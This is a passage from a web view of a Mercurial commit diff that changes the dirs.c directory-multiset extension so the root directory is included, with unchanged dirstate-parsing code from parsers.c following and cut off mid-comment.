##// END OF EJS Templates
util: make util.dirs() and util.finddirs() include root directory (API)...
Martin von Zweigbergk -
r42915:d8e55c0c default
parent child Browse files
Show More
@@ -1,316 +1,319
1 /*
1 /*
2 dirs.c - dynamic directory diddling for dirstates
2 dirs.c - dynamic directory diddling for dirstates
3
3
4 Copyright 2013 Facebook
4 Copyright 2013 Facebook
5
5
6 This software may be used and distributed according to the terms of
6 This software may be used and distributed according to the terms of
7 the GNU General Public License, incorporated herein by reference.
7 the GNU General Public License, incorporated herein by reference.
8 */
8 */
9
9
10 #define PY_SSIZE_T_CLEAN
10 #define PY_SSIZE_T_CLEAN
11 #include <Python.h>
11 #include <Python.h>
12
12
13 #include "util.h"
13 #include "util.h"
14
14
15 #ifdef IS_PY3K
15 #ifdef IS_PY3K
16 #define PYLONG_VALUE(o) ((PyLongObject *)o)->ob_digit[1]
16 #define PYLONG_VALUE(o) ((PyLongObject *)o)->ob_digit[1]
17 #else
17 #else
18 #define PYLONG_VALUE(o) PyInt_AS_LONG(o)
18 #define PYLONG_VALUE(o) PyInt_AS_LONG(o)
19 #endif
19 #endif
20
20
21 /*
21 /*
22 * This is a multiset of directory names, built from the files that
22 * This is a multiset of directory names, built from the files that
23 * appear in a dirstate or manifest.
23 * appear in a dirstate or manifest.
24 *
24 *
25 * A few implementation notes:
25 * A few implementation notes:
26 *
26 *
27 * We modify Python integers for refcounting, but those integers are
27 * We modify Python integers for refcounting, but those integers are
28 * never visible to Python code.
28 * never visible to Python code.
29 *
29 *
30 * We mutate strings in-place, but leave them immutable once they can
30 * We mutate strings in-place, but leave them immutable once they can
31 * be seen by Python code.
31 * be seen by Python code.
32 */
32 */
33 typedef struct {
33 typedef struct {
34 PyObject_HEAD
34 PyObject_HEAD
35 PyObject *dict;
35 PyObject *dict;
36 } dirsObject;
36 } dirsObject;
37
37
38 static inline Py_ssize_t _finddir(const char *path, Py_ssize_t pos)
38 static inline Py_ssize_t _finddir(const char *path, Py_ssize_t pos)
39 {
39 {
40 while (pos != -1) {
40 while (pos != -1) {
41 if (path[pos] == '/')
41 if (path[pos] == '/')
42 break;
42 break;
43 pos -= 1;
43 pos -= 1;
44 }
44 }
45 if (pos == -1) {
46 return 0;
47 }
45
48
46 return pos;
49 return pos;
47 }
50 }
48
51
49 static int _addpath(PyObject *dirs, PyObject *path)
52 static int _addpath(PyObject *dirs, PyObject *path)
50 {
53 {
51 const char *cpath = PyBytes_AS_STRING(path);
54 const char *cpath = PyBytes_AS_STRING(path);
52 Py_ssize_t pos = PyBytes_GET_SIZE(path);
55 Py_ssize_t pos = PyBytes_GET_SIZE(path);
53 PyObject *key = NULL;
56 PyObject *key = NULL;
54 int ret = -1;
57 int ret = -1;
55
58
56 /* This loop is super critical for performance. That's why we inline
59 /* This loop is super critical for performance. That's why we inline
57 * access to Python structs instead of going through a supported API.
60 * access to Python structs instead of going through a supported API.
58 * The implementation, therefore, is heavily dependent on CPython
61 * The implementation, therefore, is heavily dependent on CPython
59 * implementation details. We also commit violations of the Python
62 * implementation details. We also commit violations of the Python
60 * "protocol" such as mutating immutable objects. But since we only
63 * "protocol" such as mutating immutable objects. But since we only
61 * mutate objects created in this function or in other well-defined
64 * mutate objects created in this function or in other well-defined
62 * locations, the references are known so these violations should go
65 * locations, the references are known so these violations should go
63 * unnoticed. The code for adjusting the length of a PyBytesObject is
66 * unnoticed. The code for adjusting the length of a PyBytesObject is
64 * essentially a minimal version of _PyBytes_Resize. */
67 * essentially a minimal version of _PyBytes_Resize. */
65 while ((pos = _finddir(cpath, pos - 1)) != -1) {
68 while ((pos = _finddir(cpath, pos - 1)) != -1) {
66 PyObject *val;
69 PyObject *val;
67
70
68 /* It's likely that every prefix already has an entry
71 /* It's likely that every prefix already has an entry
69 in our dict. Try to avoid allocating and
72 in our dict. Try to avoid allocating and
70 deallocating a string for each prefix we check. */
73 deallocating a string for each prefix we check. */
71 if (key != NULL)
74 if (key != NULL)
72 ((PyBytesObject *)key)->ob_shash = -1;
75 ((PyBytesObject *)key)->ob_shash = -1;
73 else {
76 else {
74 /* Force Python to not reuse a small shared string. */
77 /* Force Python to not reuse a small shared string. */
75 key = PyBytes_FromStringAndSize(cpath,
78 key = PyBytes_FromStringAndSize(cpath,
76 pos < 2 ? 2 : pos);
79 pos < 2 ? 2 : pos);
77 if (key == NULL)
80 if (key == NULL)
78 goto bail;
81 goto bail;
79 }
82 }
80 /* Py_SIZE(o) refers to the ob_size member of the struct. Yes,
83 /* Py_SIZE(o) refers to the ob_size member of the struct. Yes,
81 * assigning to what looks like a function seems wrong. */
84 * assigning to what looks like a function seems wrong. */
82 Py_SIZE(key) = pos;
85 Py_SIZE(key) = pos;
83 ((PyBytesObject *)key)->ob_sval[pos] = '\0';
86 ((PyBytesObject *)key)->ob_sval[pos] = '\0';
84
87
85 val = PyDict_GetItem(dirs, key);
88 val = PyDict_GetItem(dirs, key);
86 if (val != NULL) {
89 if (val != NULL) {
87 PYLONG_VALUE(val) += 1;
90 PYLONG_VALUE(val) += 1;
88 break;
91 break;
89 }
92 }
90
93
91 /* Force Python to not reuse a small shared int. */
94 /* Force Python to not reuse a small shared int. */
92 #ifdef IS_PY3K
95 #ifdef IS_PY3K
93 val = PyLong_FromLong(0x1eadbeef);
96 val = PyLong_FromLong(0x1eadbeef);
94 #else
97 #else
95 val = PyInt_FromLong(0x1eadbeef);
98 val = PyInt_FromLong(0x1eadbeef);
96 #endif
99 #endif
97
100
98 if (val == NULL)
101 if (val == NULL)
99 goto bail;
102 goto bail;
100
103
101 PYLONG_VALUE(val) = 1;
104 PYLONG_VALUE(val) = 1;
102 ret = PyDict_SetItem(dirs, key, val);
105 ret = PyDict_SetItem(dirs, key, val);
103 Py_DECREF(val);
106 Py_DECREF(val);
104 if (ret == -1)
107 if (ret == -1)
105 goto bail;
108 goto bail;
106 Py_CLEAR(key);
109 Py_CLEAR(key);
107 }
110 }
108 ret = 0;
111 ret = 0;
109
112
110 bail:
113 bail:
111 Py_XDECREF(key);
114 Py_XDECREF(key);
112
115
113 return ret;
116 return ret;
114 }
117 }
115
118
116 static int _delpath(PyObject *dirs, PyObject *path)
119 static int _delpath(PyObject *dirs, PyObject *path)
117 {
120 {
118 char *cpath = PyBytes_AS_STRING(path);
121 char *cpath = PyBytes_AS_STRING(path);
119 Py_ssize_t pos = PyBytes_GET_SIZE(path);
122 Py_ssize_t pos = PyBytes_GET_SIZE(path);
120 PyObject *key = NULL;
123 PyObject *key = NULL;
121 int ret = -1;
124 int ret = -1;
122
125
123 while ((pos = _finddir(cpath, pos - 1)) != -1) {
126 while ((pos = _finddir(cpath, pos - 1)) != -1) {
124 PyObject *val;
127 PyObject *val;
125
128
126 key = PyBytes_FromStringAndSize(cpath, pos);
129 key = PyBytes_FromStringAndSize(cpath, pos);
127
130
128 if (key == NULL)
131 if (key == NULL)
129 goto bail;
132 goto bail;
130
133
131 val = PyDict_GetItem(dirs, key);
134 val = PyDict_GetItem(dirs, key);
132 if (val == NULL) {
135 if (val == NULL) {
133 PyErr_SetString(PyExc_ValueError,
136 PyErr_SetString(PyExc_ValueError,
134 "expected a value, found none");
137 "expected a value, found none");
135 goto bail;
138 goto bail;
136 }
139 }
137
140
138 if (--PYLONG_VALUE(val) <= 0) {
141 if (--PYLONG_VALUE(val) <= 0) {
139 if (PyDict_DelItem(dirs, key) == -1)
142 if (PyDict_DelItem(dirs, key) == -1)
140 goto bail;
143 goto bail;
141 } else
144 } else
142 break;
145 break;
143 Py_CLEAR(key);
146 Py_CLEAR(key);
144 }
147 }
145 ret = 0;
148 ret = 0;
146
149
147 bail:
150 bail:
148 Py_XDECREF(key);
151 Py_XDECREF(key);
149
152
150 return ret;
153 return ret;
151 }
154 }
152
155
153 static int dirs_fromdict(PyObject *dirs, PyObject *source, char skipchar)
156 static int dirs_fromdict(PyObject *dirs, PyObject *source, char skipchar)
154 {
157 {
155 PyObject *key, *value;
158 PyObject *key, *value;
156 Py_ssize_t pos = 0;
159 Py_ssize_t pos = 0;
157
160
158 while (PyDict_Next(source, &pos, &key, &value)) {
161 while (PyDict_Next(source, &pos, &key, &value)) {
159 if (!PyBytes_Check(key)) {
162 if (!PyBytes_Check(key)) {
160 PyErr_SetString(PyExc_TypeError, "expected string key");
163 PyErr_SetString(PyExc_TypeError, "expected string key");
161 return -1;
164 return -1;
162 }
165 }
163 if (skipchar) {
166 if (skipchar) {
164 if (!dirstate_tuple_check(value)) {
167 if (!dirstate_tuple_check(value)) {
165 PyErr_SetString(PyExc_TypeError,
168 PyErr_SetString(PyExc_TypeError,
166 "expected a dirstate tuple");
169 "expected a dirstate tuple");
167 return -1;
170 return -1;
168 }
171 }
169 if (((dirstateTupleObject *)value)->state == skipchar)
172 if (((dirstateTupleObject *)value)->state == skipchar)
170 continue;
173 continue;
171 }
174 }
172
175
173 if (_addpath(dirs, key) == -1)
176 if (_addpath(dirs, key) == -1)
174 return -1;
177 return -1;
175 }
178 }
176
179
177 return 0;
180 return 0;
178 }
181 }
179
182
180 static int dirs_fromiter(PyObject *dirs, PyObject *source)
183 static int dirs_fromiter(PyObject *dirs, PyObject *source)
181 {
184 {
182 PyObject *iter, *item = NULL;
185 PyObject *iter, *item = NULL;
183 int ret;
186 int ret;
184
187
185 iter = PyObject_GetIter(source);
188 iter = PyObject_GetIter(source);
186 if (iter == NULL)
189 if (iter == NULL)
187 return -1;
190 return -1;
188
191
189 while ((item = PyIter_Next(iter)) != NULL) {
192 while ((item = PyIter_Next(iter)) != NULL) {
190 if (!PyBytes_Check(item)) {
193 if (!PyBytes_Check(item)) {
191 PyErr_SetString(PyExc_TypeError, "expected string");
194 PyErr_SetString(PyExc_TypeError, "expected string");
192 break;
195 break;
193 }
196 }
194
197
195 if (_addpath(dirs, item) == -1)
198 if (_addpath(dirs, item) == -1)
196 break;
199 break;
197 Py_CLEAR(item);
200 Py_CLEAR(item);
198 }
201 }
199
202
200 ret = PyErr_Occurred() ? -1 : 0;
203 ret = PyErr_Occurred() ? -1 : 0;
201 Py_DECREF(iter);
204 Py_DECREF(iter);
202 Py_XDECREF(item);
205 Py_XDECREF(item);
203 return ret;
206 return ret;
204 }
207 }
205
208
206 /*
209 /*
207 * Calculate a refcounted set of directory names for the files in a
210 * Calculate a refcounted set of directory names for the files in a
208 * dirstate.
211 * dirstate.
209 */
212 */
210 static int dirs_init(dirsObject *self, PyObject *args)
213 static int dirs_init(dirsObject *self, PyObject *args)
211 {
214 {
212 PyObject *dirs = NULL, *source = NULL;
215 PyObject *dirs = NULL, *source = NULL;
213 char skipchar = 0;
216 char skipchar = 0;
214 int ret = -1;
217 int ret = -1;
215
218
216 self->dict = NULL;
219 self->dict = NULL;
217
220
218 if (!PyArg_ParseTuple(args, "|Oc:__init__", &source, &skipchar))
221 if (!PyArg_ParseTuple(args, "|Oc:__init__", &source, &skipchar))
219 return -1;
222 return -1;
220
223
221 dirs = PyDict_New();
224 dirs = PyDict_New();
222
225
223 if (dirs == NULL)
226 if (dirs == NULL)
224 return -1;
227 return -1;
225
228
226 if (source == NULL)
229 if (source == NULL)
227 ret = 0;
230 ret = 0;
228 else if (PyDict_Check(source))
231 else if (PyDict_Check(source))
229 ret = dirs_fromdict(dirs, source, skipchar);
232 ret = dirs_fromdict(dirs, source, skipchar);
230 else if (skipchar)
233 else if (skipchar)
231 PyErr_SetString(PyExc_ValueError,
234 PyErr_SetString(PyExc_ValueError,
232 "skip character is only supported "
235 "skip character is only supported "
233 "with a dict source");
236 "with a dict source");
234 else
237 else
235 ret = dirs_fromiter(dirs, source);
238 ret = dirs_fromiter(dirs, source);
236
239
237 if (ret == -1)
240 if (ret == -1)
238 Py_XDECREF(dirs);
241 Py_XDECREF(dirs);
239 else
242 else
240 self->dict = dirs;
243 self->dict = dirs;
241
244
242 return ret;
245 return ret;
243 }
246 }
244
247
245 PyObject *dirs_addpath(dirsObject *self, PyObject *args)
248 PyObject *dirs_addpath(dirsObject *self, PyObject *args)
246 {
249 {
247 PyObject *path;
250 PyObject *path;
248
251
249 if (!PyArg_ParseTuple(args, "O!:addpath", &PyBytes_Type, &path))
252 if (!PyArg_ParseTuple(args, "O!:addpath", &PyBytes_Type, &path))
250 return NULL;
253 return NULL;
251
254
252 if (_addpath(self->dict, path) == -1)
255 if (_addpath(self->dict, path) == -1)
253 return NULL;
256 return NULL;
254
257
255 Py_RETURN_NONE;
258 Py_RETURN_NONE;
256 }
259 }
257
260
258 static PyObject *dirs_delpath(dirsObject *self, PyObject *args)
261 static PyObject *dirs_delpath(dirsObject *self, PyObject *args)
259 {
262 {
260 PyObject *path;
263 PyObject *path;
261
264
262 if (!PyArg_ParseTuple(args, "O!:delpath", &PyBytes_Type, &path))
265 if (!PyArg_ParseTuple(args, "O!:delpath", &PyBytes_Type, &path))
263 return NULL;
266 return NULL;
264
267
265 if (_delpath(self->dict, path) == -1)
268 if (_delpath(self->dict, path) == -1)
266 return NULL;
269 return NULL;
267
270
268 Py_RETURN_NONE;
271 Py_RETURN_NONE;
269 }
272 }
270
273
271 static int dirs_contains(dirsObject *self, PyObject *value)
274 static int dirs_contains(dirsObject *self, PyObject *value)
272 {
275 {
273 return PyBytes_Check(value) ? PyDict_Contains(self->dict, value) : 0;
276 return PyBytes_Check(value) ? PyDict_Contains(self->dict, value) : 0;
274 }
277 }
275
278
276 static void dirs_dealloc(dirsObject *self)
279 static void dirs_dealloc(dirsObject *self)
277 {
280 {
278 Py_XDECREF(self->dict);
281 Py_XDECREF(self->dict);
279 PyObject_Del(self);
282 PyObject_Del(self);
280 }
283 }
281
284
282 static PyObject *dirs_iter(dirsObject *self)
285 static PyObject *dirs_iter(dirsObject *self)
283 {
286 {
284 return PyObject_GetIter(self->dict);
287 return PyObject_GetIter(self->dict);
285 }
288 }
286
289
287 static PySequenceMethods dirs_sequence_methods;
290 static PySequenceMethods dirs_sequence_methods;
288
291
289 static PyMethodDef dirs_methods[] = {
292 static PyMethodDef dirs_methods[] = {
290 {"addpath", (PyCFunction)dirs_addpath, METH_VARARGS, "add a path"},
293 {"addpath", (PyCFunction)dirs_addpath, METH_VARARGS, "add a path"},
291 {"delpath", (PyCFunction)dirs_delpath, METH_VARARGS, "remove a path"},
294 {"delpath", (PyCFunction)dirs_delpath, METH_VARARGS, "remove a path"},
292 {NULL} /* Sentinel */
295 {NULL} /* Sentinel */
293 };
296 };
294
297
295 static PyTypeObject dirsType = { PyVarObject_HEAD_INIT(NULL, 0) };
298 static PyTypeObject dirsType = { PyVarObject_HEAD_INIT(NULL, 0) };
296
299
297 void dirs_module_init(PyObject *mod)
300 void dirs_module_init(PyObject *mod)
298 {
301 {
299 dirs_sequence_methods.sq_contains = (objobjproc)dirs_contains;
302 dirs_sequence_methods.sq_contains = (objobjproc)dirs_contains;
300 dirsType.tp_name = "parsers.dirs";
303 dirsType.tp_name = "parsers.dirs";
301 dirsType.tp_new = PyType_GenericNew;
304 dirsType.tp_new = PyType_GenericNew;
302 dirsType.tp_basicsize = sizeof(dirsObject);
305 dirsType.tp_basicsize = sizeof(dirsObject);
303 dirsType.tp_dealloc = (destructor)dirs_dealloc;
306 dirsType.tp_dealloc = (destructor)dirs_dealloc;
304 dirsType.tp_as_sequence = &dirs_sequence_methods;
307 dirsType.tp_as_sequence = &dirs_sequence_methods;
305 dirsType.tp_flags = Py_TPFLAGS_DEFAULT;
308 dirsType.tp_flags = Py_TPFLAGS_DEFAULT;
306 dirsType.tp_doc = "dirs";
309 dirsType.tp_doc = "dirs";
307 dirsType.tp_iter = (getiterfunc)dirs_iter;
310 dirsType.tp_iter = (getiterfunc)dirs_iter;
308 dirsType.tp_methods = dirs_methods;
311 dirsType.tp_methods = dirs_methods;
309 dirsType.tp_init = (initproc)dirs_init;
312 dirsType.tp_init = (initproc)dirs_init;
310
313
311 if (PyType_Ready(&dirsType) < 0)
314 if (PyType_Ready(&dirsType) < 0)
312 return;
315 return;
313 Py_INCREF(&dirsType);
316 Py_INCREF(&dirsType);
314
317
315 PyModule_AddObject(mod, "dirs", (PyObject *)&dirsType);
318 PyModule_AddObject(mod, "dirs", (PyObject *)&dirsType);
316 }
319 }
@@ -1,762 +1,762
1 /*
1 /*
2 parsers.c - efficient content parsing
2 parsers.c - efficient content parsing
3
3
4 Copyright 2008 Matt Mackall <mpm@selenic.com> and others
4 Copyright 2008 Matt Mackall <mpm@selenic.com> and others
5
5
6 This software may be used and distributed according to the terms of
6 This software may be used and distributed according to the terms of
7 the GNU General Public License, incorporated herein by reference.
7 the GNU General Public License, incorporated herein by reference.
8 */
8 */
9
9
10 #define PY_SSIZE_T_CLEAN
10 #define PY_SSIZE_T_CLEAN
11 #include <Python.h>
11 #include <Python.h>
12 #include <ctype.h>
12 #include <ctype.h>
13 #include <stddef.h>
13 #include <stddef.h>
14 #include <string.h>
14 #include <string.h>
15
15
16 #include "bitmanipulation.h"
16 #include "bitmanipulation.h"
17 #include "charencode.h"
17 #include "charencode.h"
18 #include "util.h"
18 #include "util.h"
19
19
20 #ifdef IS_PY3K
20 #ifdef IS_PY3K
21 /* The mapping of Python types is meant to be temporary to get Python
21 /* The mapping of Python types is meant to be temporary to get Python
22 * 3 to compile. We should remove this once Python 3 support is fully
22 * 3 to compile. We should remove this once Python 3 support is fully
23 * supported and proper types are used in the extensions themselves. */
23 * supported and proper types are used in the extensions themselves. */
24 #define PyInt_Check PyLong_Check
24 #define PyInt_Check PyLong_Check
25 #define PyInt_FromLong PyLong_FromLong
25 #define PyInt_FromLong PyLong_FromLong
26 #define PyInt_FromSsize_t PyLong_FromSsize_t
26 #define PyInt_FromSsize_t PyLong_FromSsize_t
27 #define PyInt_AsLong PyLong_AsLong
27 #define PyInt_AsLong PyLong_AsLong
28 #endif
28 #endif
29
29
30 static const char *const versionerrortext = "Python minor version mismatch";
30 static const char *const versionerrortext = "Python minor version mismatch";
31
31
32 static PyObject *dict_new_presized(PyObject *self, PyObject *args)
32 static PyObject *dict_new_presized(PyObject *self, PyObject *args)
33 {
33 {
34 Py_ssize_t expected_size;
34 Py_ssize_t expected_size;
35
35
36 if (!PyArg_ParseTuple(args, "n:make_presized_dict", &expected_size)) {
36 if (!PyArg_ParseTuple(args, "n:make_presized_dict", &expected_size)) {
37 return NULL;
37 return NULL;
38 }
38 }
39
39
40 return _dict_new_presized(expected_size);
40 return _dict_new_presized(expected_size);
41 }
41 }
42
42
43 static inline dirstateTupleObject *make_dirstate_tuple(char state, int mode,
43 static inline dirstateTupleObject *make_dirstate_tuple(char state, int mode,
44 int size, int mtime)
44 int size, int mtime)
45 {
45 {
46 dirstateTupleObject *t =
46 dirstateTupleObject *t =
47 PyObject_New(dirstateTupleObject, &dirstateTupleType);
47 PyObject_New(dirstateTupleObject, &dirstateTupleType);
48 if (!t) {
48 if (!t) {
49 return NULL;
49 return NULL;
50 }
50 }
51 t->state = state;
51 t->state = state;
52 t->mode = mode;
52 t->mode = mode;
53 t->size = size;
53 t->size = size;
54 t->mtime = mtime;
54 t->mtime = mtime;
55 return t;
55 return t;
56 }
56 }
57
57
58 static PyObject *dirstate_tuple_new(PyTypeObject *subtype, PyObject *args,
58 static PyObject *dirstate_tuple_new(PyTypeObject *subtype, PyObject *args,
59 PyObject *kwds)
59 PyObject *kwds)
60 {
60 {
61 /* We do all the initialization here and not a tp_init function because
61 /* We do all the initialization here and not a tp_init function because
62 * dirstate_tuple is immutable. */
62 * dirstate_tuple is immutable. */
63 dirstateTupleObject *t;
63 dirstateTupleObject *t;
64 char state;
64 char state;
65 int size, mode, mtime;
65 int size, mode, mtime;
66 if (!PyArg_ParseTuple(args, "ciii", &state, &mode, &size, &mtime)) {
66 if (!PyArg_ParseTuple(args, "ciii", &state, &mode, &size, &mtime)) {
67 return NULL;
67 return NULL;
68 }
68 }
69
69
70 t = (dirstateTupleObject *)subtype->tp_alloc(subtype, 1);
70 t = (dirstateTupleObject *)subtype->tp_alloc(subtype, 1);
71 if (!t) {
71 if (!t) {
72 return NULL;
72 return NULL;
73 }
73 }
74 t->state = state;
74 t->state = state;
75 t->mode = mode;
75 t->mode = mode;
76 t->size = size;
76 t->size = size;
77 t->mtime = mtime;
77 t->mtime = mtime;
78
78
79 return (PyObject *)t;
79 return (PyObject *)t;
80 }
80 }
81
81
82 static void dirstate_tuple_dealloc(PyObject *o)
82 static void dirstate_tuple_dealloc(PyObject *o)
83 {
83 {
84 PyObject_Del(o);
84 PyObject_Del(o);
85 }
85 }
86
86
87 static Py_ssize_t dirstate_tuple_length(PyObject *o)
87 static Py_ssize_t dirstate_tuple_length(PyObject *o)
88 {
88 {
89 return 4;
89 return 4;
90 }
90 }
91
91
92 static PyObject *dirstate_tuple_item(PyObject *o, Py_ssize_t i)
92 static PyObject *dirstate_tuple_item(PyObject *o, Py_ssize_t i)
93 {
93 {
94 dirstateTupleObject *t = (dirstateTupleObject *)o;
94 dirstateTupleObject *t = (dirstateTupleObject *)o;
95 switch (i) {
95 switch (i) {
96 case 0:
96 case 0:
97 return PyBytes_FromStringAndSize(&t->state, 1);
97 return PyBytes_FromStringAndSize(&t->state, 1);
98 case 1:
98 case 1:
99 return PyInt_FromLong(t->mode);
99 return PyInt_FromLong(t->mode);
100 case 2:
100 case 2:
101 return PyInt_FromLong(t->size);
101 return PyInt_FromLong(t->size);
102 case 3:
102 case 3:
103 return PyInt_FromLong(t->mtime);
103 return PyInt_FromLong(t->mtime);
104 default:
104 default:
105 PyErr_SetString(PyExc_IndexError, "index out of range");
105 PyErr_SetString(PyExc_IndexError, "index out of range");
106 return NULL;
106 return NULL;
107 }
107 }
108 }
108 }
109
109
110 static PySequenceMethods dirstate_tuple_sq = {
110 static PySequenceMethods dirstate_tuple_sq = {
111 dirstate_tuple_length, /* sq_length */
111 dirstate_tuple_length, /* sq_length */
112 0, /* sq_concat */
112 0, /* sq_concat */
113 0, /* sq_repeat */
113 0, /* sq_repeat */
114 dirstate_tuple_item, /* sq_item */
114 dirstate_tuple_item, /* sq_item */
115 0, /* sq_ass_item */
115 0, /* sq_ass_item */
116 0, /* sq_contains */
116 0, /* sq_contains */
117 0, /* sq_inplace_concat */
117 0, /* sq_inplace_concat */
118 0 /* sq_inplace_repeat */
118 0 /* sq_inplace_repeat */
119 };
119 };
120
120
121 PyTypeObject dirstateTupleType = {
121 PyTypeObject dirstateTupleType = {
122 PyVarObject_HEAD_INIT(NULL, 0) /* header */
122 PyVarObject_HEAD_INIT(NULL, 0) /* header */
123 "dirstate_tuple", /* tp_name */
123 "dirstate_tuple", /* tp_name */
124 sizeof(dirstateTupleObject), /* tp_basicsize */
124 sizeof(dirstateTupleObject), /* tp_basicsize */
125 0, /* tp_itemsize */
125 0, /* tp_itemsize */
126 (destructor)dirstate_tuple_dealloc, /* tp_dealloc */
126 (destructor)dirstate_tuple_dealloc, /* tp_dealloc */
127 0, /* tp_print */
127 0, /* tp_print */
128 0, /* tp_getattr */
128 0, /* tp_getattr */
129 0, /* tp_setattr */
129 0, /* tp_setattr */
130 0, /* tp_compare */
130 0, /* tp_compare */
131 0, /* tp_repr */
131 0, /* tp_repr */
132 0, /* tp_as_number */
132 0, /* tp_as_number */
133 &dirstate_tuple_sq, /* tp_as_sequence */
133 &dirstate_tuple_sq, /* tp_as_sequence */
134 0, /* tp_as_mapping */
134 0, /* tp_as_mapping */
135 0, /* tp_hash */
135 0, /* tp_hash */
136 0, /* tp_call */
136 0, /* tp_call */
137 0, /* tp_str */
137 0, /* tp_str */
138 0, /* tp_getattro */
138 0, /* tp_getattro */
139 0, /* tp_setattro */
139 0, /* tp_setattro */
140 0, /* tp_as_buffer */
140 0, /* tp_as_buffer */
141 Py_TPFLAGS_DEFAULT, /* tp_flags */
141 Py_TPFLAGS_DEFAULT, /* tp_flags */
142 "dirstate tuple", /* tp_doc */
142 "dirstate tuple", /* tp_doc */
143 0, /* tp_traverse */
143 0, /* tp_traverse */
144 0, /* tp_clear */
144 0, /* tp_clear */
145 0, /* tp_richcompare */
145 0, /* tp_richcompare */
146 0, /* tp_weaklistoffset */
146 0, /* tp_weaklistoffset */
147 0, /* tp_iter */
147 0, /* tp_iter */
148 0, /* tp_iternext */
148 0, /* tp_iternext */
149 0, /* tp_methods */
149 0, /* tp_methods */
150 0, /* tp_members */
150 0, /* tp_members */
151 0, /* tp_getset */
151 0, /* tp_getset */
152 0, /* tp_base */
152 0, /* tp_base */
153 0, /* tp_dict */
153 0, /* tp_dict */
154 0, /* tp_descr_get */
154 0, /* tp_descr_get */
155 0, /* tp_descr_set */
155 0, /* tp_descr_set */
156 0, /* tp_dictoffset */
156 0, /* tp_dictoffset */
157 0, /* tp_init */
157 0, /* tp_init */
158 0, /* tp_alloc */
158 0, /* tp_alloc */
159 dirstate_tuple_new, /* tp_new */
159 dirstate_tuple_new, /* tp_new */
160 };
160 };
161
161
162 static PyObject *parse_dirstate(PyObject *self, PyObject *args)
162 static PyObject *parse_dirstate(PyObject *self, PyObject *args)
163 {
163 {
164 PyObject *dmap, *cmap, *parents = NULL, *ret = NULL;
164 PyObject *dmap, *cmap, *parents = NULL, *ret = NULL;
165 PyObject *fname = NULL, *cname = NULL, *entry = NULL;
165 PyObject *fname = NULL, *cname = NULL, *entry = NULL;
166 char state, *cur, *str, *cpos;
166 char state, *cur, *str, *cpos;
167 int mode, size, mtime;
167 int mode, size, mtime;
168 unsigned int flen, pos = 40;
168 unsigned int flen, pos = 40;
169 Py_ssize_t len = 40;
169 Py_ssize_t len = 40;
170 Py_ssize_t readlen;
170 Py_ssize_t readlen;
171
171
172 if (!PyArg_ParseTuple(
172 if (!PyArg_ParseTuple(
173 args, PY23("O!O!s#:parse_dirstate", "O!O!y#:parse_dirstate"),
173 args, PY23("O!O!s#:parse_dirstate", "O!O!y#:parse_dirstate"),
174 &PyDict_Type, &dmap, &PyDict_Type, &cmap, &str, &readlen)) {
174 &PyDict_Type, &dmap, &PyDict_Type, &cmap, &str, &readlen)) {
175 goto quit;
175 goto quit;
176 }
176 }
177
177
178 len = readlen;
178 len = readlen;
179
179
180 /* read parents */
180 /* read parents */
181 if (len < 40) {
181 if (len < 40) {
182 PyErr_SetString(PyExc_ValueError,
182 PyErr_SetString(PyExc_ValueError,
183 "too little data for parents");
183 "too little data for parents");
184 goto quit;
184 goto quit;
185 }
185 }
186
186
187 parents = Py_BuildValue(PY23("s#s#", "y#y#"), str, (Py_ssize_t)20,
187 parents = Py_BuildValue(PY23("s#s#", "y#y#"), str, (Py_ssize_t)20,
188 str + 20, (Py_ssize_t)20);
188 str + 20, (Py_ssize_t)20);
189 if (!parents) {
189 if (!parents) {
190 goto quit;
190 goto quit;
191 }
191 }
192
192
193 /* read filenames */
193 /* read filenames */
194 while (pos >= 40 && pos < len) {
194 while (pos >= 40 && pos < len) {
195 if (pos + 17 > len) {
195 if (pos + 17 > len) {
196 PyErr_SetString(PyExc_ValueError,
196 PyErr_SetString(PyExc_ValueError,
197 "overflow in dirstate");
197 "overflow in dirstate");
198 goto quit;
198 goto quit;
199 }
199 }
200 cur = str + pos;
200 cur = str + pos;
201 /* unpack header */
201 /* unpack header */
202 state = *cur;
202 state = *cur;
203 mode = getbe32(cur + 1);
203 mode = getbe32(cur + 1);
204 size = getbe32(cur + 5);
204 size = getbe32(cur + 5);
205 mtime = getbe32(cur + 9);
205 mtime = getbe32(cur + 9);
206 flen = getbe32(cur + 13);
206 flen = getbe32(cur + 13);
207 pos += 17;
207 pos += 17;
208 cur += 17;
208 cur += 17;
209 if (flen > len - pos) {
209 if (flen > len - pos) {
210 PyErr_SetString(PyExc_ValueError,
210 PyErr_SetString(PyExc_ValueError,
211 "overflow in dirstate");
211 "overflow in dirstate");
212 goto quit;
212 goto quit;
213 }
213 }
214
214
215 entry =
215 entry =
216 (PyObject *)make_dirstate_tuple(state, mode, size, mtime);
216 (PyObject *)make_dirstate_tuple(state, mode, size, mtime);
217 cpos = memchr(cur, 0, flen);
217 cpos = memchr(cur, 0, flen);
218 if (cpos) {
218 if (cpos) {
219 fname = PyBytes_FromStringAndSize(cur, cpos - cur);
219 fname = PyBytes_FromStringAndSize(cur, cpos - cur);
220 cname = PyBytes_FromStringAndSize(
220 cname = PyBytes_FromStringAndSize(
221 cpos + 1, flen - (cpos - cur) - 1);
221 cpos + 1, flen - (cpos - cur) - 1);
222 if (!fname || !cname ||
222 if (!fname || !cname ||
223 PyDict_SetItem(cmap, fname, cname) == -1 ||
223 PyDict_SetItem(cmap, fname, cname) == -1 ||
224 PyDict_SetItem(dmap, fname, entry) == -1) {
224 PyDict_SetItem(dmap, fname, entry) == -1) {
225 goto quit;
225 goto quit;
226 }
226 }
227 Py_DECREF(cname);
227 Py_DECREF(cname);
228 } else {
228 } else {
229 fname = PyBytes_FromStringAndSize(cur, flen);
229 fname = PyBytes_FromStringAndSize(cur, flen);
230 if (!fname ||
230 if (!fname ||
231 PyDict_SetItem(dmap, fname, entry) == -1) {
231 PyDict_SetItem(dmap, fname, entry) == -1) {
232 goto quit;
232 goto quit;
233 }
233 }
234 }
234 }
235 Py_DECREF(fname);
235 Py_DECREF(fname);
236 Py_DECREF(entry);
236 Py_DECREF(entry);
237 fname = cname = entry = NULL;
237 fname = cname = entry = NULL;
238 pos += flen;
238 pos += flen;
239 }
239 }
240
240
241 ret = parents;
241 ret = parents;
242 Py_INCREF(ret);
242 Py_INCREF(ret);
243 quit:
243 quit:
244 Py_XDECREF(fname);
244 Py_XDECREF(fname);
245 Py_XDECREF(cname);
245 Py_XDECREF(cname);
246 Py_XDECREF(entry);
246 Py_XDECREF(entry);
247 Py_XDECREF(parents);
247 Py_XDECREF(parents);
248 return ret;
248 return ret;
249 }
249 }
250
250
251 /*
251 /*
252 * Build a set of non-normal and other parent entries from the dirstate dmap
